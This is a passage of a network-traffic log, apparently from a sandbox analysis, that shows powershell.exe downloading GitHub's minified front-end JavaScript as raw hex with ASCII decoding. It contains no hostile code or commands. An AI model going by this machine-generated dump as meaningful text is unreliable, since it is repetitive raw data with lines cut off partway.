28 65 29 2c 6e 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 74 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 59 28 Data Ascii: ault-currency",E[e].default_currency)),t.appendChild(J("local-currency",E[e].local_currency))):t.textContent=E[e]}(0,H.g5)(history.state,"",f.url)}function J(e,t){let n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}function Y(
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 22 29 29 29 4b 28 65 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 75 6e 69 74 2d 70 72 69 63 65 22 29 29 65 2e 68 69 64 64 65 6e 3d 21 65 2e 68 69 64 64 65 6e 7d 29 28 29 7d 29 2c 28 30 2c 62 2e 6f 6e 29 28 22 63 68 61 6e 67 65 22 2c 22 2e 6a 73 2d 6f 72 67 2d 73 69 67 6e 75 70 2d 64 75 72 61 74 69 6f 6e 2d 74 6f 67 67 6c 65 22 2c 66 75 6e 63 74 69 6f 6e 28 7b 63 75 72 72 65 6e 74 54 61 72 67 65 74 3a 65 7d 29 7b 6c 65 74 20 74 3d 6e 65 77 20 55 52 4c 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 75 72 6c 22 29 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 3b 28 30 2c 56 2e 73 6f 66 Data Ascii: ")))K(e);(function(){for(let e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden})()}),(0,b.on)("change",".js-org-signup-duration-toggle",function({currentTarget:e}){let t=new URL(e.getAttribute("data-url"),window.location.origin);(0,V.sof
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 62 2e 6f 6e 29 28 22 63 68 61 6e 67 65 22 2c 22 2e 6a 73 2d 62 72 61 6e 63 68 2d 70 72 6f 74 65 63 74 69 6f 6e 2d 69 6e 74 65 67 72 61 74 69 6f 6e 2d 73 65 6c 65 63 74 2d 69 6e 70 75 74 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 65 2e 74 61 72 67 65 74 2c 6e 3d 74 3f 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 62 72 61 6e 63 68 2d 70 72 6f 74 65 63 74 69 6f 6e 2d 69 6e 74 65 67 72 61 74 69 6f 6e 2d 73 65 6c 65 63 74 22 29 2c 72 3d 6e 3f 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 62 72 61 6e 63 68 2d 70 72 6f 74 65 63 74 69 6f 6e 2d 69 6e 74 65 67 72 61 74 69 6f 6e 2d 73 65 6c 65 63 74 2d 63 75 72 72 65 6e 74 22 29 2c 69 3d 74 3f 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 62 72 61 6e 63 68 2d 70 72 6f 74 65 63 74 69 6f 6e 2d Data Ascii: b.on)("change",".js-branch-protection-integration-select-input",function(e){let t=e.target,n=t?.closest(".js-branch-protection-integration-select"),r=n?.querySelector(".js-branch-protection-integration-select-current"),i=t?.closest(".js-branch-protection-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49761	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:32 UTC	451	OUT	GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-bf7e5a3732fd.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:32 UTC	696	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11676 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:12 GMT ETag: "0x8DCB7D5A07BFBE6" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2947732 Date: Mon, 30 Sep 2024 13:50:32 GMT X-Served-By: cache-iad-kiad7000133-IAD, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 676, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 5faed99bfa12e003fd4554760443b3c0fd16eb83
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 30 36 66 66 35 33 31 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_cata
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 63 29 29 72 65 74 75 72 6e 20 74 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 7d 29 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6c 74 3d 7b 6e 61 6d 65 3a 22 55 4e 49 56 45 52 53 41 4c 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 30 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 21 30 5d 7d 7d 2c 72 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 Data Ascii: ,selector:function(e){var t;if(t=e.match(c))return t[0].toUpperCase()},element:function(e){return[e.nodeName.toUpperCase()]}}),o.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}},r="function"==typeof
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 65 78 55 73 65 64 28 6e 29 2c 28 6c 3d 73 2e 6d 61 70 2e 67 65 74 28 69 29 29 7c 7c 28 6c 3d 5b 5d 2c 73 2e 6d 61 70 2e 73 65 74 28 69 2c 6c 29 29 2c 6c 2e 70 75 73 68 28 6e 29 3b 74 68 69 73 2e 73 69 7a 65 2b 2b 2c 68 2e 70 75 73 68 28 65 29 7d 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 76 61 72 20 6e 2c 6f 2c 72 2c 61 2c 69 2c 73 2c 6c 2c 63 2c 64 3d 74 68 69 73 2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 2c 66 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 73 3d 5b 5d 2c 68 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 4f 62 6a 65 63 74 73 2c 70 3d 7b 7d 2c 67 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 Data Ascii: exUsed(n),(l=s.map.get(i))\|\|(l=[],s.map.set(i,l)),l.push(n);this.size++,h.push(e)}},o.prototype.remove=function(e,t){if("string"==typeof e){var n,o,r,a,i,s,l,c,d=this.activeIndexes,f=this.selectors=[],h=this.selectorObjects,p={},g=1==arguments.length;for(
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 76 61 72 20 6f 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 65 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 2c 6f 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 67 2e 73 65 74 28 74 68 69 73 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 29 7b 67 2e 73 65 74 28 74 68 69 73 2c 21 30 29 2c 62 2e 73 65 74 28 74 68 69 73 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 29 7b 72 65 74 75 72 6e 20 6d 2e 67 65 74 28 74 68 69 73 29 7c 7c 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 29 7b 79 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 63 75 72 72 65 6e 74 54 61 72 67 65 74 22 2c 7b Data Ascii: var o=e[t];return e[t]=function(){return n.apply(e,arguments),o.apply(e,arguments)},e}function w(){g.set(this,!0)}function x(){g.set(this,!0),b.set(this,!0)}function A(){return m.get(this)\|\|null}function k(e,t){y&&Object.defineProperty(e,"currentTarget",{
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 2c 7b 43 46 3a 28 29 3d 3e 67 2c 70 5f 3a 28 29 3d 3e 41 2c 46 42 3a 28 29 3d 3e 75 2c 53 65 3a 28 29 3d 3e 50 2c 61 43 3a 28 29 3d 3e 77 2c 7a 56 3a 28 29 3d 3e 78 7d 29 3b 6c 65 74 20 72 3d 6e 65 77 20 57 65 61 6b 53 65 74 2c 61 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 3d 64 6f 63 75 6d 65 6e 74 29 7b 69 66 28 61 2e 68 61 73 28 65 29 29 72 65 74 75 72 6e 20 61 2e 67 65 74 28 65 29 3b 6c 65 74 20 74 3d 21 31 2c 6e 3d 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 65 3d 3e 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 65 29 69 66 28 22 61 74 74 72 69 62 75 74 65 73 22 3d 3d 3d 74 2e 74 79 70 65 26 26 74 2e 74 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 29 64 28 74 2e 74 61 72 67 65 Data Ascii: ,{CF:()=>g,p_:()=>A,FB:()=>u,Se:()=>P,aC:()=>w,zV:()=>x});let r=new WeakSet,a=new WeakMap;function i(e=document){if(a.has(e))return a.get(e);let t=!1,n=new MutationObserver(e=>{for(let t of e)if("attributes"===t.type&&t.target instanceof Element)d(t.targe
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 6e 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 21 6f 2e 63 6c 6f 73 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6f 7d 66 6f 72 28 6c 65 74 20 6f 20 6f 66 20 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 5b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6e 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 6f 2e 63 6c 6f 73 65 73 74 28 6e 29 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6f 7d 6c 65 74 20 66 3d 65 3d 3e 53 74 72 69 6e 67 28 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 64 65 73 63 72 69 70 74 69 6f 6e 3a 65 29 2e 72 65 70 6c 61 63 65 28 2f 28 5b 41 2d 5a 5d 28 24 7c 5b 61 2d 7a 5d 29 29 2f 67 2c 22 2d 24 31 22 29 2e 72 65 70 6c 61 63 65 28 2f 2d 2d 2f 67 2c 22 2d 22 29 2e 72 65 70 6c 61 63 65 28 2f 5e 2d 7c 2d 24 2f 2c 22 22 29 2e Data Ascii: n}.${t}"]`))if(!o.closest(n))return o}for(let o of e.querySelectorAll(`[data-target~="${n}.${t}"]`))if(o.closest(n)===e)return o}let f=e=>String("symbol"==typeof e?e.description:e).replace(/([A-Z]($\|[a-z]))/g,"-$1").replace(/--/g,"-").replace(/^-\|-$/,"").
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 6f 29 7b 74 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2c 65 2c 6e 2c 6f 2c 72 29 7d 3b 6c 65 74 20 61 3d 65 2e 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 7c 7c 5b 5d 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 67 65 74 28 29 7b 72 65 74 75 72 6e 20 74 2e 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 28 74 68 69 73 2c 61 29 7d 2c 73 65 74 28 Data Ascii: buteChangedCallback;e.prototype.attributeChangedCallback=function(e,n,o){t.attributeChangedCallback(this,e,n,o,r)};let a=e.observedAttributes\|\|[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return t.observedAttributes(this,a)},set(
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 65 74 5b 65 2c 6f 5d 6f 66 20 74 29 6e 2e 73 65 74 28 65 2c 6e 65 77 20 53 65 74 28 6f 29 29 7d 6c 65 74 20 6e 3d 65 5b 79 5d 3b 72 65 74 75 72 6e 20 6e 2e 68 61 73 28 74 29 7c 7c 6e 2e 73 65 74 28 74 2c 6e 65 77 20 53 65 74 29 2c 6e 2e 67 65 74 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 2c 74 29 7b 76 28 65 2c 22 74 61 72 67 65 74 22 29 2e 61 64 64 28 74 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 67 65 74 28 29 7b 72 65 74 75 72 6e 20 75 28 74 68 69 73 2c 74 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 2c 74 29 7b 76 28 65 2c 22 74 61 72 67 65 74 73 22 29 2e 61 64 64 28 74 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 Data Ascii: et[e,o]of t)n.set(e,new Set(o))}let n=e[y];return n.has(t)\|\|n.set(t,new Set),n.get(t)}function w(e,t){v(e,"target").add(t),Object.defineProperty(e,t,{configurable:!0,get(){return u(this,t)}})}function x(e,t){v(e,"targets").add(t),Object.defineProperty(e,t
2024-09-30 13:50:32 UTC	652	IN	Data Raw: 28 65 29 7c 7c 30 29 2c 4f 2e 73 65 74 28 65 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 28 29 3d 3e 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 6b 2e 6b 65 79 73 28 29 29 7b 6c 65 74 20 6e 3d 65 2e 6d 61 74 63 68 65 73 28 74 29 3f 65 3a 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 3b 69 66 28 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 28 74 29 7c 7c 6e 29 7b 6c 65 74 20 6f 3d 6e 3f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 6f 61 64 2d 6f 6e 22 29 7c 7c 22 72 65 61 64 79 22 2c 72 3d 6f 20 69 6e 20 45 3f 45 5b 6f 5d 3a 45 2e 72 65 61 64 79 3b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 6b 2e 67 65 74 28 74 29 7c 7c 5b 5d 29 72 28 74 29 2e 74 68 65 6e 28 65 29 3b 6b 2e 64 65 6c 65 74 65 28 74 29 2c Data Ascii: (e)\|\|0),O.set(e,requestAnimationFrame(()=>{for(let t of k.keys()){let n=e.matches(t)?e:e.querySelector(t);if(customElements.get(t)\|\|n){let o=n?.getAttribute("data-load-on")\|\|"ready",r=o in E?E[o]:E.ready;for(let e of k.get(t)\|\|[])r(t).then(e);k.delete(t),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49762	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:32 UTC	370	OUT	GET /assets/notifications-global-54f34167118d.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:32 UTC	697	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11445 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 20 Aug 2024 15:46:26 GMT ETag: "0x8DCC12F400738CD" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2779103 Date: Mon, 30 Sep 2024 13:50:32 GMT X-Served-By: cache-iad-kjyo7100129-IAD, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 1804, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e03f2b7b9870af9178da7606d9e63a537b1d2dba
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 2d 67 6c 6f 62 61 6c 22 5d 2c 7b 35 37 37 36 35 3a 28 65 2c 74 2c 6f 29 3d 3e 7b 6f 2e 64 28 74 2c 7b 61 3a 28 29 3d 3e 6c 2c 6e 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 69 3d 6f 28 39 37 37 39 37 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 61 6a 61 78 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 22 29 3b 65 26 26 28 65 2e 68 69 64 64 65 6e 3d 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 6c 65 74 20 65 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["notifications-global"],{57765:(e,t,o)=>{o.d(t,{a:()=>l,n:()=>s});var i=o(97797);function s(){let e=document.getElementById("ajax-error-message");e&&(e.hidden=!1)}function l(){let e
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 3a 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 2c 41 63 63 65 70 74 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 7d 29 3b 69 66 28 21 69 2e 6f 6b 29 7b 28 30 2c 73 2e 6e 29 28 29 3b 72 65 74 75 72 6e 7d 6c 65 74 20 6c 3d 61 77 61 69 74 20 69 2e 6a 73 6f 6e 28 29 2c 61 3d 6f 2e 67 65 74 28 22 64 6f 22 29 3b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 74 68 69 73 2e 75 70 64 61 74 65 43 68 65 63 6b 65 64 53 74 61 74 65 28 61 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 74 68 69 73 2e 75 70 64 61 74 65 4d 65 6e 75 42 75 74 74 6f 6e 43 6f 70 79 28 61 29 2c 74 68 69 73 2e 75 70 64 61 74 65 53 6f 63 69 61 6c 43 6f 75 6e 74 28 6c 2e 63 6f 75 6e 74 29 2c 74 68 69 73 2e 61 70 70 6c 79 49 6e 70 75 74 73 43 68 Data Ascii: :"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,s.n)();return}let l=await i.json(),a=o.get("do");"string"==typeof a&&this.updateCheckedState(a),"string"==typeof a&&this.updateMenuButtonCopy(a),this.updateSocialCount(l.count),this.applyInputsCh
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 65 72 73 28 65 29 7d 20 77 61 74 63 68 69 6e 67 20 74 68 69 73 20 72 65 70 6f 73 69 74 6f 72 79 60 29 29 7d 70 6c 75 72 61 6c 69 7a 65 55 73 65 72 73 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 70 61 72 73 65 49 6e 74 28 65 29 3f 22 31 20 75 73 65 72 20 69 73 22 3a 60 24 7b 65 7d 20 75 73 65 72 73 20 61 72 65 60 7d 68 61 6e 64 6c 65 44 69 61 6c 6f 67 4c 61 62 65 6c 54 6f 67 67 6c 65 28 65 29 7b 6c 65 74 20 74 3d 65 2e 64 65 74 61 69 6c 2e 77 61 73 43 68 65 63 6b 65 64 2c 6f 3d 65 2e 64 65 74 61 69 6c 2e 74 6f 67 67 6c 65 64 4c 61 62 65 6c 49 64 2c 69 3d 65 2e 64 65 74 61 69 6c 2e 74 65 6d 70 6c 61 74 65 4c 61 62 65 6c 45 6c 65 6d 65 6e 74 43 6c 6f 6e 65 3b 69 66 28 74 29 7b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 68 69 73 2e 73 75 62 73 63 72 69 70 Data Ascii: ers(e)} watching this repository`))}pluralizeUsers(e){return 1===parseInt(e)?"1 user is":`${e} users are`}handleDialogLabelToggle(e){let t=e.detail.wasChecked,o=e.detail.toggledLabelId,i=e.detail.templateLabelElementClone;if(t){for(let e=0;e<this.subscrip
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 4c 61 62 65 6c 73 5b 65 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 61 62 65 6c 2d 69 64 22 29 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 68 69 73 2e 64 69 61 6c 6f 67 4c 61 62 65 6c 49 74 65 6d 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 74 68 69 73 2e 64 69 61 6c 6f 67 4c 61 62 65 6c 49 74 65 6d 73 5b 65 5d 2e 6c 61 62 65 6c 49 64 3d 3d 3d 74 29 7b 74 68 69 73 2e 64 69 61 6c 6f 67 4c 61 62 65 6c 49 74 65 6d 73 5b 65 5d 2e 73 65 74 43 68 65 63 6b 65 64 46 6f 72 44 72 6f 70 64 6f 77 6e 4c 61 62 65 6c 28 21 31 29 3b 62 72 65 61 6b 7d 7d 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 6c 61 73 74 41 70 70 6c 69 65 64 4c 61 62 65 6c Data Ascii: his.subscriptionsLabels[e].getAttribute("data-label-id");for(let e=0;e<this.dialogLabelItems.length;e++)if(this.dialogLabelItems[e].labelId===t){this.dialogLabelItems[e].setCheckedForDropdownLabel(!1);break}}for(let e=0;e<Object.keys(this.lastAppliedLabel
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 30 26 26 28 74 68 69 73 2e 74 68 72 65 61 64 54 79 70 65 43 68 65 63 6b 62 6f 78 65 73 5b 30 5d 2e 63 68 65 63 6b 65 64 3d 65 29 2c 74 68 69 73 2e 74 68 72 65 61 64 54 79 70 65 43 68 65 63 6b 62 6f 78 65 73 55 70 64 61 74 65 64 28 29 7d 68 69 64 65 46 69 6c 74 65 72 53 75 62 74 69 74 6c 65 28 29 7b 6c 65 74 20 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 6c 61 73 74 41 70 70 6c 69 65 64 4c 61 62 65 6c 73 29 2e 6c 65 6e 67 74 68 3e 30 3b 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 53 75 62 74 69 74 6c 65 2e 74 6f 67 67 6c 65 41 74 74 72 69 62 75 74 65 28 22 68 69 64 64 65 6e 22 2c 65 29 7d 73 61 76 65 43 75 72 72 65 6e 74 4c 61 62 65 6c 73 53 74 61 74 65 28 29 7b 74 68 69 73 2e 6c 61 73 74 41 70 70 6c 69 65 64 4c 61 62 65 6c 73 3d 7b Data Ascii: 0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){let e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 75 72 6e 20 6c 3e 33 26 26 61 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6f 2c 61 29 2c 61 7d 61 28 5b 69 2e 61 43 5d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 64 65 74 61 69 6c 73 22 2c 76 6f 69 64 20 30 29 2c 61 28 5b 69 2e 61 43 5d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6d 65 6e 75 22 2c 76 6f 69 64 20 30 29 2c 61 28 5b 69 2e 61 43 5d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 63 75 73 74 6f 6d 42 75 74 74 6f 6e 22 2c 76 6f 69 64 20 30 29 2c 61 28 5b 69 2e 61 43 5d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 63 75 73 74 6f 6d 44 69 61 6c 6f 67 22 2c 76 6f 69 64 20 30 29 2c 61 28 5b 69 2e 61 43 5d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 69 6c 74 65 72 4c 61 62 65 6c 73 44 69 61 6c 6f 67 22 2c 76 6f 69 64 20 30 29 Data Ascii: urn l>3&&a&&Object.defineProperty(t,o,a),a}a([i.aC],n.prototype,"details",void 0),a([i.aC],n.prototype,"menu",void 0),a([i.aC],n.prototype,"customButton",void 0),a([i.aC],n.prototype,"customDialog",void 0),a([i.aC],n.prototype,"filterLabelsDialog",void 0)
